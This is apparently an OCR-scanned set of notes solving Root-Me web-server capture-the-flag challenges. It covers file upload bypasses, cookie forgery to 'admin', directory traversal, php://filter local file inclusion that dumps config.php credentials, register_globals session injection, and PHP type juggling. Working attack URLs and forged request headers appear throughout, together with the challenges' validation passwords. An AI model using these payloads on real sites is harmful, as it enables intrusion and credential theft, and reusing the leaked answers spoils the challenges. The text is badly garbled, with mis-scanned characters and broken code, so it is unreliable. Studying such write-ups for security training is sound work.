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File upload - double extensions 1} b {&—¥" &

Gallery v0.02
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Your goal is to hack this photo galery by uploading PHP code.
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view-source:http://challenge01.root-me.org/web-
serveur/ch20/galerie/upload/ccbde566dbc436aa41b84533bbc60ad8//3.php.jpg?preview
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http://challenge01.root-me.org/web-
serveur/ch20/galerie/upload/ccbde566dbc4 36aa41b84533bbc60ad8//3.php.jpg
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File upload - MIME type

H ILHIMIMEZ: 7Y HESCAFRICTE 5 SCA html text/html xmISCRS xml text/xml XHTMLSZHY xhtml
application/xhtml+xml W SCA L ixt text/plain RTF A .rtf application/rtf PDF (4% .pdf
application/pdf Microsoft Word 2 f .word application/msword PNGK| % .png image/png GIFFE
.gifimage/gif ~ JPEGKJY .jpeg,.jpg image/jpeg aujs % 314 .au audio/basic MIDIE 5% 3 A4 mid,.midi
audio/midi,audio/x-midi RealAudio# = 3C 14 .ra, .ram audio/x-pn-realaudio MPEG {4 .mpg,.mpeg
video/mpeg AVISC {4 .avi video/x-msvideo GZIP3 14 .gz application/x-gzip TARS A tar
application/x-tar 7 1) — 3k %5 % application/octet-stream

Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/qgif
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http://challenge01.root-me.org/web-serveur/ch21/galerie/upload/cb13dd644fb605082b0a59f2d15¢c84e7//2.php

password : UN2YusYPnmwfHFHI5Z3

HTTP cookies


https://blog.csdn.net/weixin_33701294
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=xhtml&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/joy-nick/p/5569475.html
http://galleryproject.org/

Bob create a script to gather user's email...

PS : Bob really love cookies

ctrl+u

<!--SetCookie("ch7","visiteur");
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riiiSaved email adresses

You need to be admin

Hllive http heads JMEEHRE £
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/.q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://challenge01.root-me.org/web-serveur/ch7/

Cookie: ch7=visiteur
X-Forwarded-For: 8.8.8.8

&% Cookie: ch7=visiteur
Cookie: ch7=admin
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Validation password : ml-SYMPA

Directory traversal-H 3¢ [

Photo gallery v 0.01

Find the hidden section of the photo galery.

fitlEch15.php
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& ¥4 ch15/galerie/86hwnX2r/password. txt
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http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt
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File upload - null byte

%00-% F Al



Gallery v0.04

Your goal is to hack this photo galery by uploading PHP code.
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Well done ! You can validate this challenge with the password : YPNchi2NmTwygr2dgCCF

PHP filters-phps %1

Retrieved the administrator password of this application.
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HERE

url

HERE
PD9waHAKaW5jbHVKZSgiY29uZminLnBocClpOwoKaWYgKCBpc3NIdCgkX1BPU1RbINVzZXJuYW1II0pICYm
fird

<?php

include("config.php”);
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if (isset($_POST["username"]) && isset($_POST["password"]) )}
if (§_POST["username"]==%username && $ POST["password"|==$password){
print("

Welcome back !

print("To validate the challenge use this password

yelse {
print("

Error : no such user/password
");
}

} else {
>

Login

Password


http://www.shangxueba.com/jingyan/1601576.html
http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/read=string.toupper/resource=login.php
http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/read=convert.base64-encode/resource=login.php

<?php } 7>

include("config.php");

url2

PD9waHAKCIiR1c2VybmFtZT 0iYWRtaW4iOwokcGFzc3dvemQ9IkRBUHQ5RDJta3kwQVBBRIl7Cgo/Pg==
<?php

$username="admin";
$password="DAPtOD2mky0APAF";

?>
PHP register globals
It seems that the developper often leaves backup files around...
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http://challenge01.root-me.org/web-serveur/ch17/index.php?_SESSION[logged]=1

well done, you can validate with the password : NoiQYdpcd5kgNwG

Local File Inclusion-A 3¢ #4452

PHP S I i 7= A2 JiR DR 72 3 i PHP T BR B0 N SRR, BT AR NSO 22 3 Gt A E RS, AT
A 7 IR Z AREI SR, AT e T B A B SO 2 R AR N
Abbreviated LFI

Get in the admin section.

BH TR T AR B
http://challenge01.root-me.org/web-serveur/ch16/?files=reseau&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html
http://challenge01.root-me.org/web-serveur/ch16/?files=esprit&f=index.html
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H 5%k [
http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=index.html
7Eindex.php H.

if (isset($_GET["files"])) $files=$_GET(["files"];


http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/read=convert.base64-encode/resource=config.php
http://www.php.net/manual/zh/security.globals.php
http://blog.sina.com.cn/s/blog_98e9966801010ib8.html
http://stackoverflow.com/questions/21368051/register-globals-exploit-session-arra
http://blog.csdn.net/change518/article/details/9835445

if (isset($_GET['f"]) && $_GET["f"]'="")
http://challenge01.root-me.org/web-serveur/ch16/?files=../&f=admin/index.php
users = array(‘admin' => 'OpbNJ60xYpvAQUS');

PHP type juggling-2 7 %% e i ) 1)

PHP loose comparison

Get an access.

Authentication source code

$FLAG, SUSER and $PASSWORD_SHA256 in secret file

url

Preg_Replace
e modifier
Read flag.php

Warning: preg_replace(): Delimiter must not be alphanumeric or backslash in /challenge/web-
serveur/ch37/index.php on line 25
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#35T:https://www.cnblogs.com/joy-nick/p/5569475.html


http://php.net/manual/zh/language.types.type-juggling.php
http://byd.dropsec.xyz/
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